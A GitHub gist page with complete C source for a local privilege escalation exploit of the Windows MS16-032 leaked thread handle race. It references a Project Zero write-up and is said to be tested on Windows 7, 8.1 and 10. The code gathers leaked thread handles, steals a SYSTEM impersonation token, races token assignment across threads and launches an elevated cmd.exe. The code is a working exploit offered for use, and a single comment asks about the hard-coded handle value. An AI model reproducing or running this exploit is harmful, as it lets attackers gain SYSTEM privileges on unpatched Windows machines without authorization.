Skip to content

Instantly share code, notes, and snippets.

@hugsy
Last active January 5, 2023 22:20
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save hugsy/c7c89bad61b3fa2fa3c7ab0b96310c2d to your computer and use it in GitHub Desktop.
Save hugsy/c7c89bad61b3fa2fa3c7ab0b96310c2d to your computer and use it in GitHub Desktop.
/**
* Curated exploit of @tirranido leaked handle race condition
*
* Tested on
* - Win7 x64
* - Win8.1 x64
* - Win10 x64
*
* Ref: https://googleprojectzero.blogspot.com.au/2016/03/exploiting-leaked-thread-handle.html
* @_hugsy_
*/
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <strsafe.h>
#include <map>
#define MAX_PROCESSES 1000
#pragma comment(lib, "Advapi32.lib")
typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE, HANDLE, PSECURITY_QUALITY_OF_SERVICE);
struct ThreadArg
{
HANDLE hThread;
HANDLE hToken;
};
void ErrorExit(LPTSTR lpszFunction, BOOL bIsFatal)
{
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("[-] %s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
printf((LPCTSTR)lpDisplayBuf);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
if (bIsFatal)
ExitProcess(dw);
}
int GetNumberOfCores()
{
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION pSlpi;
DWORD dLen = 0x100*sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);
BOOL res = FALSE;
DWORD logicalProcessorCount=0, i, len;
pSlpi = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)VirtualAlloc(NULL, dLen, MEM_COMMIT, PAGE_READWRITE);
res = GetLogicalProcessorInformation(pSlpi, &dLen);
if(res == FALSE){
ErrorExit(TEXT("GetLogicalProcessorInformation"), TRUE);
}
len = dLen / sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);
for(i=0; i<len; i++){
if(pSlpi[i].Relationship == RelationProcessorCore){
logicalProcessorCount++;
}
}
VirtualFree(pSlpi, dLen, 0);
return logicalProcessorCount;
}
HANDLE GetThreadHandle()
{
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
startInfo.hStdInput = GetCurrentThread();
startInfo.hStdOutput = GetCurrentThread();
startInfo.hStdError = GetCurrentThread();
startInfo.dwFlags = STARTF_USESTDHANDLES;
if (CreateProcessWithLogonW(L"fooooo", L"fooooo", L"fooooo",
LOGON_NETCREDENTIALS_ONLY,
nullptr, L"cmd.exe", CREATE_SUSPENDED,
nullptr, nullptr, (LPSTARTUPINFOW)&startInfo, &procInfo))
{
HANDLE hThread;
BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
DWORD dwLastError = GetLastError();
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
if (!res)
{
ErrorExit(TEXT("DuplicateHandle"), TRUE);
}
return hThread;
}
else
{
ErrorExit(TEXT("CreateProcessWithLogonW"), TRUE);
}
}
HANDLE GetSystemToken(HANDLE hThread)
{
HANDLE hToken;
SuspendThread(hThread);
NtImpersonateThread* fNtImpersonateThread = (NtImpersonateThread*)GetProcAddress(GetModuleHandle("ntdll"), "NtImpersonateThread");
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
SetThreadToken(&hThread, nullptr);
NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos);
if (status != 0)
{
ResumeThread(hThread);
ErrorExit(TEXT("fNtImpersonateThread"), TRUE);
}
if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, FALSE, &hToken))
{
ErrorExit(TEXT("OpenThreadToken"), FALSE);
ResumeThread(hThread);
exit(1);
}
ResumeThread(hThread);
return hToken;
}
DWORD CALLBACK SetTokenThread(LPVOID lpArg)
{
ThreadArg* arg = (ThreadArg*)lpArg;
while (TRUE)
{
if (!SetThreadToken(&arg->hThread, arg->hToken)){
ErrorExit(TEXT("SetThreadToken"), FALSE);
break;
}
}
return 0;
}
int main(int argc, char **argv, char **envp)
{
printf("[+] Leaked handle race condition (MS16-032)\n");
int nNumberOfCores = GetNumberOfCores();
if(nNumberOfCores < 2){
printf("[+] Cannot race of single core CPU\n");
ExitProcess(1);
}
printf("[+] %d cores found\n", nNumberOfCores);
std::map<DWORD, HANDLE> thread_handles;
printf("[+] Gathering thread handles\n");
for (int i = 0; i < MAX_PROCESSES; ++i) {
HANDLE hThread = GetThreadHandle();
DWORD dwTid = GetThreadId(hThread);
if (!dwTid){
ErrorExit(TEXT("GetThreadId"), TRUE);
}
if (thread_handles.find(dwTid) == thread_handles.end()){
thread_handles[dwTid] = hThread;
} else {
CloseHandle(hThread);
}
}
printf("[+] Leaked %d handles\n", thread_handles.size());
if (thread_handles.size() > 0)
{
HANDLE hToken = GetSystemToken(thread_handles.begin()->second);
printf("[+] System Token: %p\n", hToken);
for (const auto& pair : thread_handles)
{
ThreadArg* arg = new ThreadArg;
arg->hThread = pair.second;
DuplicateToken(hToken, SecurityImpersonation, &arg->hToken);
CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr);
}
while (TRUE){
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
if (CreateProcessWithLogonW(L"fooooo", L"fooooo", L"fooooo",
LOGON_NETCREDENTIALS_ONLY, nullptr,
L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr,
(LPSTARTUPINFOW)&startInfo, &procInfo))
{
HANDLE hProcessToken;
TOKEN_ELEVATION elevation;
DWORD dwSize = 0;
if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED, &hProcessToken))
{
printf("[+] OpenProcessToken failed, resume thread %d\n", procInfo.hProcess);
ResumeThread(procInfo.hThread);
printf("[+] Wait for 'cmd'\n");
break;
}
if (!GetTokenInformation(hProcessToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)){
ErrorExit(TEXT("GetTokenInformation"), FALSE);
ResumeThread(procInfo.hThread);
break;
}
if (elevation.TokenIsElevated){
printf("[+] Created elevated process\n");
ResumeThread(procInfo.hThread);
break;
}
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
}
}
}
return 0;
}
@wulfgarpro
Copy link

What is the (HANDLE)0x4 argument passed to DuplicateHandle as the hSourceHandle param?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment